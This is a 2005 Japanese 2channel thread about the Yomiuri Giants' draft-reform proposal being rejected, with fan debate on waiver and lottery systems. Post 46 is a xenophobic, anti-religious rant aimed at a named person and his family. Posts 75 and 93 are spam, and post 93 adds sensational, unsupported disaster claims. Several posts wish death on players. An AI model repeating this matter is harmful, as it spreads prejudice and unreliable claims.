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【野球】巨人の意見が通らない!巨人代表怒る!ドラフト改革案反対された!

1 :プラス8失恋レゾナンス@LOVELESSマイナス1φ ★:2005/04/27(水) 11:04:56 ID:???
実行委員会が26日、東京・内幸町のコミッショナー事務局で行われ、巨人が示すドラフト改革案に
否定的な雰囲気が流れた。ワーキングチーム(作業部会)の中心として大リーグ機構(MLB)、
日本高野連などにヒアリングし調査を続けてきた巨人清武英利代表(54)が、これにブチ切れ。
「分かっていない人はまったく分かっていない」と怒りをぶちまけた。

巨人は現状維持に近い形を望んでいるが、それに対する反対意見も多い。
巨人の意見ばかりが通っていた過去とは違う現状が露呈した。

全文は>>2-10ぐらい
http://www.nikkansports.com/ns/baseball/p-bb-tp0-050427-0006.html

☆依頼アリ
http://news18.2ch.net/test/read.cgi/mnewsplus/1114331400/298


2 :プラス8失恋レゾナンス@LOVELESSマイナス1φ ★:2005/04/27(水) 11:05:28 ID:???
>>1
会議を終えた清武代表は思い通りに事が進まぬストレスをぶちまけた。
ドラフト改革の質問を受けると「分かっていない人はまったく分かっていない。
分かっている人は分かっているけど。議事録は長いので、帰って読んでくださいと言った」とまくし立てた。
さらに「こっちはまじめに、あちこちヒアリングして説得して情報提供をしているのに、いいかげんな人が
いるから話ができない」と、あからさまに他球団の代表を批判した。

清武代表は作業部会の中心人物として関係各所に出向き、球界問題に対する意見を聞いてきた。
だが、巨人の意見に好都合な部分ばかりを強調してリポートする姿勢に、かねて疑問の声が上がっていた。
この日も、MLBの完全ウエーバーが失敗している現状を報告した。巨人の意見は現状維持に近い形。
自由獲得枠を現状の各年2枠から1枠に減らすなどの折衷案を用意している。MLBの意見は追い風だった。
こうしたリポートを土台とし、改革案のまとめに入りたいところだった。

3 :名無しさん@恐縮です:2005/04/27(水) 11:05:35 ID:Av8TNT/I


4 :名無しさん@恐縮です:2005/04/27(水) 11:05:49 ID:oaD6VCq9
2

5 :プラス8失恋レゾナンス@LOVELESSマイナス1φ ★:2005/04/27(水) 11:05:59 ID:???
>>1
だが、他球団からは優勝チームから指名する「逆ウエーバー」や、抽選の導入案などが活発に出て、
巨人が示す案は主流にならなかった。「1枠に減らすだけでは改革といえない」という意見や、
清武代表の強引な論調に対する不満も多くなっている。
楽天井上代表は「メジャーの状況は我々も把握しているが、日米の抱える問題は違う」と語る。
また、阪神野崎取締役は「7月のオーナー会議での決定がメド。先送りしても仕方がない」と、
これまでメドとした8月よりも早めた。時間切れによる現状維持を阻止する狙いがみえる。
残された時間は少ない。何でも思い通りに進めなければ気が済まない巨人が、今後どんな策を講じるか注目される。

6 :名無しさん@恐縮です:2005/04/27(水) 11:06:33 ID:nZ+ppyQk ?
明るい兆しだね!

7 :名無しさん@恐縮です:2005/04/27(水) 11:06:49 ID:MMbiosCk
>分かってない人はまったく分かってない。
>分かっている人は分かっているけど。




……なにがなんだか僕にはさっぱり分かりません。

8 :名無しさん@恐縮です:2005/04/27(水) 11:07:05 ID:moMDPfBK
清武は完全ウェーバー制が機能してないって言いたいだけだろ

9 :名無しさん@恐縮です:2005/04/27(水) 11:07:31 ID:Y00wh9nw
>>2
> さらに「こっちはまじめに、あちこちヒアリングして説得して情報提供をしているのに、いいかげんな人が
> いるから話ができない」と、あからさまに他球団の代表を批判した。

清武もここまで言うのなら,いいかげんな人が誰なのか,何故そう言えるのかを明かせよ。

10 :名無しさん@恐縮です:2005/04/27(水) 11:07:40 ID:7sXqzuUg
斜め上

11 :名無しさん@恐縮です:2005/04/27(水) 11:07:44 ID:HQIcUPvD
>>7
おまえはわかってない人だな!

12 :名無しさん@恐縮です:2005/04/27(水) 11:07:53 ID:/NoMwRqm
クビを切られそうだから必死なんだな。

13 :名無しさん@恐縮です:2005/04/27(水) 11:07:54 ID:KZ4t8dOY
ただの弱小球団になったな

14 :名無しさん@恐縮です:2005/04/27(水) 11:09:09 ID:273m7MXG
>>8
清武はいい選手は全部巨人に寄越せと言いたいだけだよ

15 :名無しさん@恐縮です:2005/04/27(水) 11:09:11 ID:4QXBlbaE
逆ウェーバーは確かに公平さの点ではいいかもしれんが大富豪のルールみたいになるから駄目だろ。

16 :名無しさん@恐縮です:2005/04/27(水) 11:09:12 ID:8qzK+LZ7
巨人の意見に逆らわないのは暗黙のルールなのに
とか切れろ

17 :名無しさん@恐縮です:2005/04/27(水) 11:09:21 ID:K4vXJr5c
巨人解体はまだかね

18 :名無しさん@恐縮です:2005/04/27(水) 11:09:23 ID:h+V7j8RS
巨人+阪神VSその他か

肝心の阪神もフロントは巨人べったりだからな

19 :名無しさん@恐縮です:2005/04/27(水) 11:09:29 ID:HjQglVc3

完全ウェーヴァーになれば、
巨珍は毎年真っ先にいい選手が取れるのに、
否定する理由が分からない。

20 :名無しさん@恐縮です:2005/04/27(水) 11:09:45 ID:69Eeqm7l
読売新聞のスポーツ面の「野球再生」っていう記事では
完全ウェーバーを否定することに躍起です

21 :名無しさん@恐縮です:2005/04/27(水) 11:10:04 ID:oXLTZjcB
完全ウェーバーって微妙だな
昔の抽選方式がいいような
まあ絶対復活しないだろうけど

22 :名無しさん@恐縮です:2005/04/27(水) 11:10:29 ID:DAK7/qrj
巨人軍なんて消滅してしまえよ。
青少年の健全教育には邪魔

23 :名無しさん@恐縮です:2005/04/27(水) 11:11:08 ID:Wt8IvQKg
アメリカではもう形骸化してるし>ウェーバー

24 :名無しさん@恐縮です:2005/04/27(水) 11:11:14 ID:jUAknh4N
最下位ダントツ球団の代表が何を言ってもね。

今トップを走っている球団は、お金をかけずに、中でいい選手を育てているんだよ。

少し見習ったらどう?

25 :名無しさん@恐縮です:2005/04/27(水) 11:11:34 ID:HQIcUPvD
なんだかなぁ。
最下位の見込みがなくなった時点でわざと優勝しまくれば
良い選手取り放題じゃん。

26 :名無しさん@恐縮です:2005/04/27(水) 11:12:01 ID:KPtV/vA6
阪神は去年巨人に氾濫しただろ
野崎前社長が

27 :名無しさん@恐縮です:2005/04/27(水) 11:12:46 ID:Ef89Yd9v
NHKでまで放送するな!!

28 :名無しさん@恐縮です:2005/04/27(水) 11:12:50 ID:4VE6qtW8
ただ、朝日系のニッカンの記事だからなあ。
ライバル紙の関係者の言質を、都合よく組み合わせている
だけのような気もするし、その他の新聞の書き方も見ないとね。

29 :名無しさん@恐縮です:2005/04/27(水) 11:12:59 ID:7sXqzuUg

 巨 人 軍 は 永 久 に 不 潔 で す !

30 :名無しさん@恐縮です:2005/04/27(水) 11:13:42 ID:2z88mcjl
サイコロ振って順番に取っていけばいいような

31 :名無しさん@恐縮です:2005/04/27(水) 11:13:44 ID:1yaQZkj5
典型的な組織を駄目にする人間の発言だな。

32 :名無しさん@恐縮です:2005/04/27(水) 11:13:53 ID:XM/V8dix
抽選にしろって
ショーとしては最高だ

33 :名無しさん@恐縮です:2005/04/27(水) 11:14:03 ID:D5vFAvbv


何れにしろ、巨人の我が侭は、通すべきではない。
     辺つねが、物言わぬ児童さまだ?
      あんなの、物を言うべきで無い へ た れ だ。



34 :名無しさん@恐縮です:2005/04/27(水) 11:14:37 ID:moMDPfBK
完全ウェーバー制が十分に機能してない事は事実だが
じゃあ今の制度より悪いのか、指名件でFAを補償する制度に触れているのか
逆指名以前の日本の制度に戻す事はどうなのか
自由枠を守る事しか考えてない点で巨人の主張は説得力に欠ける

35 :名無しさん@恐縮です:2005/04/27(水) 11:15:25 ID:8ZaSVvMO
今って最高クラスの選手を取る事が出来ても、
数年後にはメジャーに行っている可能性も高いからなぁ。
どうすればいいんだろうね

36 :名無しさん@恐縮です:2005/04/27(水) 11:15:29 ID:FuqKBTmf
巨人のドラフト戦略も高橋、上原を獲得したあたりまではよかったが
それ以降、ずっと外れ引きっぱなしだもんな
投手がいいのが取れてないね 
どうせ使わないなら清水をトレードに出してこましなのをかくとくすりゃいいのに

37 :名無しさん@恐縮です:2005/04/27(水) 11:15:49 ID:ZwD4+kq5
駄々こねちゃった

38 :名無しさん@恐縮です:2005/04/27(水) 11:15:55 ID:nwjBQ2nW
>巨人は現状維持に近い形を望んでいるが
これの何処が改革案なんだ。
他から、反対されて当然。


39 :名無しさん@恐縮です:2005/04/27(水) 11:16:09 ID:aACPB9oW
まさかウェーバー制になりそうな気配を察しての最下位なのか、ジャイアンツ

40 :名無しさん@恐縮です:2005/04/27(水) 11:16:12 ID:aF691UTl
完全にウェーバーにすると負けたもん勝ちになる可能性があるし
なによりドラフトがつまらなくなる
1位は抽選ありにしてはどうか

とりあえず自由枠撤廃は絶対

41 :名無しさん@恐縮です:2005/04/27(水) 11:16:23 ID:vzIIx4gf
>>23
詳しく!

42 :名無しさん@恐縮です:2005/04/27(水) 11:16:47 ID:zP79NBAO
>>26
わざと優勝しまくるってのがワロス

43 :名無しさん@恐縮です:2005/04/27(水) 11:17:42 ID:hxHN7mGK
選手育てりゃいい話。
出前ばかりとらずに、自分で作れ!!
キモ原で懲りてないのか??

44 :名無しさん@恐縮です:2005/04/27(水) 11:17:44 ID:Kb2hp+ew
ヒント:清武、清原、中畑清

45 :名無しさん@恐縮です:2005/04/27(水) 11:17:52 ID:oXLTZjcB
完全ウェーバーにすると
超有望選手がメジャーに行っちゃうって意見は
2chネラー的にはどうなの

46 :名無しさん@恐縮です:2005/04/27(水) 11:17:53 ID:dQqJD53O

北城恪太郎のこの発言には腹が立つな。
こいつは日本ナザレン教団目黒教会に所属する有名なプロテスタントだぞ。
息子の英樹は教会の月刊誌に投稿するほど家族を挙げて熱心な信者だ。
(日本ナザレン教団目黒教会http://www22.ocn.ne.jp/~nazaren/index.htm

北城恪太郎は中国の不当な抗議で靖国参拝を中止しろって言うなら
日本のキリスト教信者の存在がイスラム教国との関係を悪化させるから
排斥するべきと言われたら頷くつもりか?

だいたい“日本ナザレン教団”と“靖国”でググれば分かるが、
やってる事は社会活動の名で良心の自由を踏みにじるカルト集団だ。

ところで日本の福音派ってのは何であんなに韓国と仲が良いんだ?
言ってることが韓国民族主義者と同じだし、牧師にも通名臭い奴が
ゴロゴロいるし。

http://www.jca.apc.org/ncc-j/nenpyo.html
日本キリスト教協議会の歩み

まさしく 在日参政権を与えたら日本はこうなってしまうと言うことなのだ


47 :名無しさん@恐縮です:2005/04/27(水) 11:17:54 ID:FYvLWKzU
岩隈氏ね

48 :名無しさん@恐縮です:2005/04/27(水) 11:18:02 ID:XzX8nkI5
抽選になればドラフトもおもしろい

49 :名無しさん@恐縮です:2005/04/27(水) 11:18:37 ID:oZykMf7M
ダントツ最下位のチームが何を偉そうにw

50 :名無しさん@恐縮です:2005/04/27(水) 11:18:55 ID:V44PUHQp
ジャンケンでいいよ

51 :名無しさん@恐縮です:2005/04/27(水) 11:19:10 ID:5C71CDw5
完全抽選がいいよ。楽しいしな。
それなら裏金もなくなるだろうし。

52 :名無しさん@恐縮です:2005/04/27(水) 11:19:19 ID:XzX8nkI5
>>45
そのときはそのときじゃない
メジャー行きたい人もなんだかんだで日本で実績つけたいと思ってるはず
無の状態からメジャーでやるって難しいと思うしリスクも大きい

53 :名無しさん@恐縮です:2005/04/27(水) 11:19:50 ID:uX9jJXjP
讀賣って自分の意見がとおらないと切れるジャイアンみたいだねドラえも〜ん

54 :名無しさん@恐縮です:2005/04/27(水) 11:20:22 ID:8uGSFbFC
広島なめんなよ

55 :名無しさん@恐縮です:2005/04/27(水) 11:20:42 ID:tSGzgTb+
アメリカで下火のMLBに夢中な日本人って地方のカッペ丸出しだな

56 :名無しさん@恐縮です:2005/04/27(水) 11:21:02 ID:oXLTZjcB
>>52
でも楽天かメジャーかだったらメジャー選びそうな気も(特に投手は)

57 :名無しさん@恐縮です:2005/04/27(水) 11:21:52 ID:FwkYsgeQ
実行委、大嫌い! 大手町に帰る!

58 :名無しさん@恐縮です:2005/04/27(水) 11:21:56 ID:36FnuGzJ
素質のある選手はみんな巨人に集めればいい
そうすればメジャーになんか流出しないw

59 :名無しさん@恐縮です:2005/04/27(水) 11:22:21 ID:aAxzjNX7
ファンありきだった選手達がドラフトで行きたくもない球団に行かされる糞制度を知ってワガママ言い始めるのがオチ

60 :名無しさん@恐縮です:2005/04/27(水) 11:22:22 ID:G2GXdTLG
>>53
ジャイアンというあだ名がそもそもジャイアンツから(ry

61 :名無しさん@恐縮です:2005/04/27(水) 11:22:23 ID:gbs2ugZh
ウエーバー制の大義名分は、「プロ野球という企業に就職したと思え」だが、
金持ち球団と貧乏球団の格差が広がる一方では、これは通らず、そうすると
職業選択の自由の憲法に違反する。

年棒のデータを集めて、嫌いな球団に指名された高校生が裁判でもすれば、
絶対に勝てると思うんだが、母校を人質に取られているようなもんだから無理か。


62 :名無しさん@恐縮です:2005/04/27(水) 11:22:28 ID:moMDPfBK
上原やダルビッシュも結局日本の球団に入ったしなあ
FAやポスティングがどうなるかにもよるけど
殆どの選手は待遇の差やリスクを考えて日本を選ぶだろう

63 :名無しさん@恐縮です:2005/04/27(水) 11:22:56 ID:XzX8nkI5
自由枠使って入団したらFAの権利なしってしてもいいとおもう

64 :名無しさん@恐縮です:2005/04/27(水) 11:23:53 ID:NV8njNDP
オリックスとか横浜なんて行きたくないよ

65 :名無しさん@恐縮です:2005/04/27(水) 11:24:12 ID:lrTmWVLP
結局、問題なのはメジャーのレベルが低いために日本人程度でも
そこそこ通用しちゃうってことだろ。

66 :名無しさん@恐縮です:2005/04/27(水) 11:24:29 ID:uX9jJXjP
自由枠にあぐらを書いた新人獲得をしている讀賣が悪い
以前のように全球団同時選択、重複は抽選でスカウト勝負にしろ

67 :名無しさん@恐縮です:2005/04/27(水) 11:24:42 ID:qBfmJfKQ
最初の3ヶ月くらいの時点での順位で逆ウェーバー制にすれば
最初から手を抜くことが出来ないんじゃないかねー

68 :名無しさん@恐縮です:2005/04/27(水) 11:24:49 ID:QakUKvcx
もっと騒げ〜〜
何が改革元年だ
笑えるわ

69 :名無しさん@恐縮です:2005/04/27(水) 11:25:46 ID:wWubPrnT
>>65
化け物はたしかにいるけどゴミみたいな選手はその数倍いるからな

70 :名無しさん@恐縮です:2005/04/27(水) 11:25:50 ID:oXLTZjcB
完全ウェーバーってよくわからないんだけど
球団の提示した契約内容に同意できなかったら
その後選手はどうなるの?

71 :名無しさん@恐縮です:2005/04/27(水) 11:25:57 ID:9Y+ty1+M
あたりまえじゃ
いままでどれだけナベツネ
のわがままとおして
きたとおもっとん
じゃボケが

72 :名無しさん@恐縮です:2005/04/27(水) 11:25:58 ID:d7/aV8XB
こういうスレに確実にサカ豚がいるのはある意味感心する



73 :名無しさん@恐縮です:2005/04/27(水) 11:26:04 ID:SsnOv1EH
たとえ戦力が均衡したとしても指導者の能力に著しい不均衡があるからなあ

74 :名無しさん@恐縮です:2005/04/27(水) 11:26:40 ID:pgJYL9l1
日米野球界、メジャーボールに統一しろ。

75 :名無しさん@恐縮です:2005/04/27(水) 11:26:41 ID:RBfThdO+
【動画】毛皮の生産現場・中国
http://dolby.dyndns.org/upfoo/mov/1108301570418.wmv

中国で野放しの残虐な屠殺の仕方です。
実行力のある欧米の愛護団体に知ってもらいたいのです。
誰かアメリカの大きな掲示板の動物愛護関係を探していただけないでしょうか?
貼ってくださっても助かります。


76 :名無しさん@恐縮です:2005/04/27(水) 11:27:16 ID:gf0AqH6s
虚塵さまにたてつくんじゃねぇよ!!!

77 :名無しさん@恐縮です:2005/04/27(水) 11:27:27 ID:2z88mcjl
巨人って育った選手ってほとんど居ない気がするw

78 :名無しさん@恐縮です:2005/04/27(水) 11:28:02 ID:TUvDb7Qs
巨人にもう誰もうんうんとは言わない。

79 :名無しさん@恐縮です:2005/04/27(水) 11:28:09 ID:Wt8IvQKg
>>41
有望アマ選手に一流代理人がつく

「希望球団以外なら独立リーグにいく」と通達して資金力のない球団からの指名をけん制

80 :名無しさん@恐縮です:2005/04/27(水) 11:29:42 ID:M20upltA
手法の是非は置いといて、金をかけて戦力強化しようと目論んでいる
ところと、親会社の株価が下がるからとりあえず手放さないだけの
ところが一緒にやっている時点でどうにもならんと思うがなあ。

81 :名無しさん@恐縮です:2005/04/27(水) 11:29:43 ID:2z88mcjl
新人の入団時の契約金や年俸も全球団同じにすればいいのでは?

82 :名無しさん@恐縮です:2005/04/27(水) 11:29:43 ID:ofdsLjG5
セパの優勝チームを最後に回して、2位から順に逆ウェーバーにすりゃあ、
どのチームも最後まで必死に戦うんじゃね。
パはプレーオフあるから、456321の順でもいいけど。

83 :名無しさん@恐縮です:2005/04/27(水) 11:30:15 ID:lzc3usrW
完全ウェーバーになったら、元木のケースはどうなるんだろう。
「氏ね」ってことでいいのかな?

84 :名無しさん@恐縮です:2005/04/27(水) 11:30:22 ID:9T1+hZ9d
逆指名だのFAだのウェーバー制だのいろいろ言ってるが
あれこれ勘案し、熟慮に熟慮を重ね、慎重に検討した解決策はあれだな











                   元木氏ね

85 :名無しさん@恐縮です:2005/04/27(水) 11:30:53 ID:uMU2/fZA
ウェーバーにすると、たとえば松坂みたいなのがその年に現れた場合、
わざと最下位になるからいかんって意見があるが、例えそこまでしてスターを取ったとしても

歴史的に見て期待通りに活躍しないドラ1の方が多い訳で。

86 :名無しさん@恐縮です:2005/04/27(水) 11:32:05 ID:B6Xot/sJ
代理人ってウジ虫と選手の傲慢さが野球をつまらなくさせている一番の原因だと気付け

87 :名無しさん@恐縮です:2005/04/27(水) 11:32:19 ID:oXLTZjcB
ただ間違いなく活躍する逸材ってのも10年に1人はいるわけで・・

88 :名無しさん@恐縮です:2005/04/27(水) 11:32:37 ID:fwWs+D9g
やはり読売の存在は癌だな

89 :名無しさん@恐縮です:2005/04/27(水) 11:33:15 ID:ch94Lnnf
両方のBクラスくじで順番決め
両方のAクラスくじで順番決め
これでB6チーム→Aチームで指名していけばいいのでは


90 :名無しさん@恐縮です:2005/04/27(水) 11:33:17 ID:uMU2/fZA
>>87
だからもしそういうのが取れれば少なくとも最下位からは脱出できるだろ。

91 :名無しさん@恐縮です:2005/04/27(水) 11:33:21 ID:/RFAgxgu
>>85
そんなプライドのないことできるのベイか檻くらいだろ

92 :名無しさん@恐縮です:2005/04/27(水) 11:33:28 ID:rnvl9ze5
>>85
というか、チームが最下位になれば客が入らん
今の楽天見てればわかるでしょ

93 :名無しさん@恐縮です:2005/04/27(水) 11:34:12 ID:RBfThdO+
【動画】Discovery Channelより
http://homepage.mac.com/nomura_osk/movies/other/china_rocket_dark.asf
日本のメディアが決して報じない中国のロケット打ち上げ大惨事

〜1996年2月14日 長征3号 打ち上げ失敗〜

燃料に猛毒ヒトラジンを使用したロケットは
発射直後に墜落、近くの町を完全に破壊。

降り注ぐヒトラジンを浴びた人々は跡形もなく解け
500人以上が死亡。

破壊された町に人民解放軍を投入。
外国メディアの立ち入りを禁止。

中国共産党は事実を公表せず。
自称”人権派”朝日新聞社も一切を報じず。

94 :名無しさん@恐縮です:2005/04/27(水) 11:34:23 ID:9T1+hZ9d
>>85
源五郎丸洋

まあスターではなく、隠し球であったわけだが 一応ドラ1

95 :名無しさん@恐縮です:2005/04/27(水) 11:35:05 ID:oXLTZjcB
長島一茂

96 :名無しさん@恐縮です:2005/04/27(水) 11:35:07 ID:3xcrw8qj
こっちにも来てください

球界再編問題板
http://sports7.2ch.net/npb/

97 :名無しさん@恐縮です:2005/04/27(水) 11:35:14 ID:3eQFthGt
楽天なんかには栄養費もらっても行きたくないってのが本音だろう。

98 :名無しさん@恐縮です:2005/04/27(水) 11:35:20 ID:V69a3CE5
>>60
剛田剛君は、ジャイ子のアンチャンだから、ジャイアンなのよ



99 :名無しさん@恐縮です:2005/04/27(水) 11:36:09 ID:hIKtSs+B
巨人って中国みたいだな

100 :名無しさん@恐縮です:2005/04/27(水) 11:36:29 ID:Wcj0AN+X
>>71





???

101 :プラス8失恋レゾナンス@LOVELESSマイナス1φ ★:2005/04/27(水) 11:36:40 ID:???
>>94
阪神のピッチャーだ。なつかしすぎる。

102 :名無しさん@恐縮です:2005/04/27(水) 11:37:11 ID:t5GHUX1h
ドラ1で最下位球団に入団→即トレードとかでいいじゃん。

103 :名無しさん@恐縮です:2005/04/27(水) 11:37:49 ID:oXLTZjcB
江川か

104 :名無しさん@恐縮です:2005/04/27(水) 11:38:21 ID:nm3JRRg0
ちゃんとルールをつくって完全自由競争でいいだろ

105 :名無しさん@恐縮です:2005/04/27(水) 11:38:31 ID:9T1+hZ9d
>>92
しかし最下位連続でも客が入り続けた、弱小時代の阪神の例もあるよ

106 :名無しさん@恐縮です:2005/04/27(水) 11:38:51 ID:uMU2/fZA
>>102
ドラフト順位をトレードしてもいい。
しょぼい選手三人と来年の二位三位指名権とか。

107 :名無しさん@恐縮です:2005/04/27(水) 11:39:13 ID:Wt8IvQKg
楽天みたいなチームができちゃったから難しいな。
あのチームに強制入団はさすがにかわいそうだ

108 :名無しさん@恐縮です:2005/04/27(水) 11:39:13 ID:uX9jJXjP
>>105 暗黒時代ガラガラだったよ

109 :名無しさん@恐縮です:2005/04/27(水) 11:39:26 ID:oZykMf7M
ドラフトなし
契約金も無し
1軍に上がるまでは一律最低賃金

こういうシステムにしろ

110 :名無しさん@恐縮です:2005/04/27(水) 11:39:43 ID:FwkYsgeQ
戦力均衡とか選択の自由ばかりが取りざたされるけど、地域密着も考えないのかなあ。
地元の選手は優先的に獲得できるような仕組みとか。
実際、いまでも、どこの球団でも地元選手確保をいくらかは念頭に置いているわけで、
それをもっと明確にドラフトルールに取り込めばいいのに。
ただ、実際にやるには、同一地域内に複数球団が重なっていたり、
どこまで「地元」(親戚の実家が…とか出てくる)と認めるかとか、
いろいろ課題は出てくるだろうけど、それを解決・制定していくのが実行委員会なわけで。

111 :名無しさん@恐縮です:2005/04/27(水) 11:40:27 ID:3xcrw8qj
>>105
もともとのファンが多いからそこそこは入ってたけど、今とくらべたらひどいもんだったよ

112 :名無しさん@恐縮です:2005/04/27(水) 11:40:33 ID:uMU2/fZA
>>110
それ韓国でやって失敗してなかったけ?

113 :名無しさん@恐縮です:2005/04/27(水) 11:41:10 ID:2z88mcjl
>>94
高卒ドラ1とハズレ率高いからなあ
それに加えて彼はいきなり大怪我で駄目だったみたい

114 :名無しさん@恐縮です:2005/04/27(水) 11:41:41 ID:uX9jJXjP
>>110
地域密着を制度で認めさせる意味が不明 
球団が実力優先よりも地元優先で獲得すればいいだけ

115 :名無しさん@恐縮です:2005/04/27(水) 11:41:47 ID:TUvDb7Qs
大体四番を集めて、余剰分をベンチで干すんだもんよ。お目当ての選手が巨人のベンチ
に収容されちゃってから、野球が面白くなくなってしまった。

116 :名無しさん@恐縮です:2005/04/27(水) 11:42:24 ID:oZykMf7M
ベンチで干してないよ
昨日の江藤を見たか?

117 :名無しさん@恐縮です:2005/04/27(水) 11:43:02 ID:J/oyP+Es
      _, ,_
     (`Д´ ∩ < 巨人の意見が通らないのヤダヤダ!
     ⊂   (
       ヽ∩ つ  ジタバタ
         〃〃


    〃〃∩  _, ,_
     ⊂⌒( `Д´) < 5連敗で最下位で視聴率も12%台なんてヤダヤダ!
       `ヽ_つ ⊂ノ
              ジタバタ


      _, ,_   _, ,_
     (Д´;≡;`Д) < ワガママ聞いてくんなきゃヤダヤダ!
      (∪   ∪
       ⊂_ω_つ



       ∩
     ⊂⌒(  _, ,_) < もっとTV見てよ・・・。
       `ヽ_つ ⊂ノ  グスッ・・・


118 :名無しさん@恐縮です:2005/04/27(水) 11:43:07 ID:oXLTZjcB
んじゃ入団時は完全自由化で
その後はFA禁止で

119 :名無しさん@恐縮です:2005/04/27(水) 11:43:55 ID:7JrMWhw/
巨人の意見が通りまくってきたから人気衰退してるのに
はよ、完全ウェーバー制導入しろよ

120 :名無しさん@恐縮です:2005/04/27(水) 11:43:56 ID:uMU2/fZA
日米ドラフトやればいい。

121 :名無しさん@恐縮です:2005/04/27(水) 11:45:08 ID:YKwtGAc6
視聴率取れなきゃもう用なしって感じの他球団も笑うしかないが
転落していく巨人も面白いが何か寂しいな
巨人が負ける試合見て爽快感を味わってたのに最近はいつも負けててつまらん

122 :名無しさん@恐縮です:2005/04/27(水) 11:45:14 ID:9T1+hZ9d
>>109
>契約金も無し
>1軍に上がるまでは一律最低賃金

それに近い制度を作ってオリが失敗したよ・・・

123 :名無しさん@恐縮です:2005/04/27(水) 11:45:17 ID:cNSJeDCS
スレ立て人も芸がないな。スレタイからしてスレの内容が読める。
もうちょっと捻れよ。

124 :名無しさん@恐縮です:2005/04/27(水) 11:45:46 ID:Q88RSWZt
赤字であっても40億出す球団と黒字にするため25億しか出さない球団が
混在していたら、どう頑張っても戦力が均衡しないのは自明

125 :名無しさん@恐縮です:2005/04/27(水) 11:46:00 ID:moMDPfBK
FAを無くすのは難しい
かといって契約切れたら即フリーにする事もできない
やはり入団時に一定の制限をすることでバランスを取るしかないんじゃないか

126 :名無しさん@恐縮です:2005/04/27(水) 11:46:09 ID:yJgIi3JS
視聴率観客数下がりまくりの現状で、誰も意見聞くわけねぇわな。

昨日TVつけたら3塁側だったかな?ガラガラだったように見えたけど
何人はいったの昨日。

127 :名無しさん@恐縮です:2005/04/27(水) 11:46:12 ID:AG4KJ1nZ
衛星放送やインターネットのある時代に
日本国内でお山の大将気取っていてもな
すっかり北朝鮮のテレビのようになっている
巨人戦中継のように(キヨジョンイルマンセー
日本が鎖国しなけりゃ無理

まず監督を監督として一流どころの引っこ抜いてこいよ

128 :名無しさん@恐縮です:2005/04/27(水) 11:46:36 ID:kX0qX/lG
清武代表ワロスww

129 :名無しさん@恐縮です:2005/04/27(水) 11:47:25 ID:RKOIzoAl
>>123
君はいつも文句ばっかり言ってるな。

130 :名無しさん@恐縮です:2005/04/27(水) 11:47:54 ID:TUvDb7Qs
江藤は最初からレギュラーか?どこ問題にしてんねん。この珍カス野郎が。

131 :名無しさん@恐縮です:2005/04/27(水) 11:48:53 ID:ZXBKaMsf
まだこんなこと言ってるのか・・・巨人てつくづく哀れだな

132 :名無しさん@恐縮です:2005/04/27(水) 11:49:26 ID:7ILNfouu
結局自由枠なしで抽選ってのが一番良かったのでは?

133 :名無しさん@恐縮です:2005/04/27(水) 11:50:10 ID:55QN+EWh
各球団とも巨人という名の泥舟から降りようとしてるのか?
まあムリだけどw

134 :名無しさん@恐縮です:2005/04/27(水) 11:50:41 ID:HfQ/yg+0
ドラフトやめれば? 獲りたい球団は獲り放題でいいんじゃないの。
大量囲い込みも可能だけど、数年続けりゃ適正数に収まる。
球団は多くの希望者に来てもらえるように、魅力的なチームづくりに励めばいいと思うよ。
あとは球団の保有権は契約年度限り、他に獲られたくないなら複数年契約を結べばいいよ。
メジャー流失を止める術はない。ただ、メジャーで活躍できる選手はそうそういないよ。

135 :名無しさん@恐縮です:2005/04/27(水) 11:52:14 ID:9T1+hZ9d
>>101
本人のHPあったよ
滋賀県で「源五郎丸スポーツ&薬局」を開店してるらしい (ノД`)ガンガッテルナア

元阪神タイガース源五郎丸洋による少年・少女野球教室【夢 応援隊】
http://www8.ocn.ne.jp/~asa/

136 :名無しさん@恐縮です:2005/04/27(水) 11:52:53 ID:NY0ooyn3
でも
最下位なんでしょ?

137 :135 :2005/04/27(水) 11:52:54 ID:9T1+hZ9d
直リンにしてしまった
スマソ

138 :名無しさん@恐縮です:2005/04/27(水) 11:53:13 ID:uX9jJXjP
>>134 囲い込んだら全体のレベルが下がるじゃない

139 :名無しさん@恐縮です:2005/04/27(水) 11:53:38 ID:NY0ooyn3
でも
最下位なんでしょ?

140 :名無しさん@恐縮です:2005/04/27(水) 11:53:41 ID:h+V7j8RS
阪神はここ3年が異常なだけだろう。

今年は成績しだいでかなり減る(星野以前)とおもう

141 :名無しさん@恐縮です:2005/04/27(水) 11:54:14 ID:cNSJeDCS
才能ある奴は行きたい球団に行けばいいだろ。
今更、ダメ球団の読売に入りたい奴なんかいない。
ドラフトを撤廃した方が強くて人気のあるチームのためになる。

142 :名無しさん@恐縮です:2005/04/27(水) 11:54:36 ID:hvXjOjkk
>>1
巨人の存在がもはや時代遅れ

143 :名無しさん@恐縮です:2005/04/27(水) 11:54:41 ID:e9EcFTTM
>>7
(渡邉将軍様のご意向が)分かってない人はまったく分かってない。
分かっている人は分かっているけど。



144 :名無しさん@恐縮です:2005/04/27(水) 11:55:12 ID:9T1+hZ9d
>だが、他球団からは優勝チームから指名する「逆ウエーバー」や

これどこの球団だろ?
ソフトバンク?

145 :名無しさん@恐縮です:2005/04/27(水) 11:55:28 ID:e1WVqsOs
中日なんて勝っても客が増えない
去年の消化試合は最下位チーム並だった

146 :名無しさん@恐縮です:2005/04/27(水) 11:56:37 ID:wrt810Dk
さあ、いよいよGの空中分解が始まりますよぉぉぉ〜〜〜
これもあまりにも各球団の4番バッターを取りすぎたツケですな。
飛行機だっていくら性能の良いエンジンだからって、いっぱい付けたら
エンジンの重さに耐え切れず翼がボッキリと折れますがな!

147 :名無しさん@恐縮です:2005/04/27(水) 11:56:41 ID:fgFhPcgH
観客入らない、視聴率は下がるばかり、チームは最下位。でも伝統だけで威張り散らす。老害そのものだ

148 :名無しさん@恐縮です:2005/04/27(水) 11:56:47 ID:eNjHoVyH
巨人なんてもう弱小球団じゃん(プ 虚人に改名すれば?

149 :名無しさん@恐縮です:2005/04/27(水) 11:56:55 ID:/xqciOwE
清武最低。

ナベツネの口出しよりも、こっちのほうがよっぽど性質悪いと思うよ。

日刊の記者の記事の書き方にも誤解を招くものがあったかもしれないが。

150 :名無しさん@恐縮です:2005/04/27(水) 11:57:00 ID:zjxYOzfR
あ、そうw

151 :名無しさん@恐縮です:2005/04/27(水) 11:57:47 ID:2/lj+cSt
巨人は内外でダメダメ球団

152 :名無しさん@恐縮です:2005/04/27(水) 11:58:34 ID:3B6c9rR+
本当に球団問わずプロになりたい奴だけ指名対象にして欲しい。












百歩譲って楽天は拒否しても良い

153 :名無しさん@恐縮です:2005/04/27(水) 11:58:56 ID:W5qDgysP
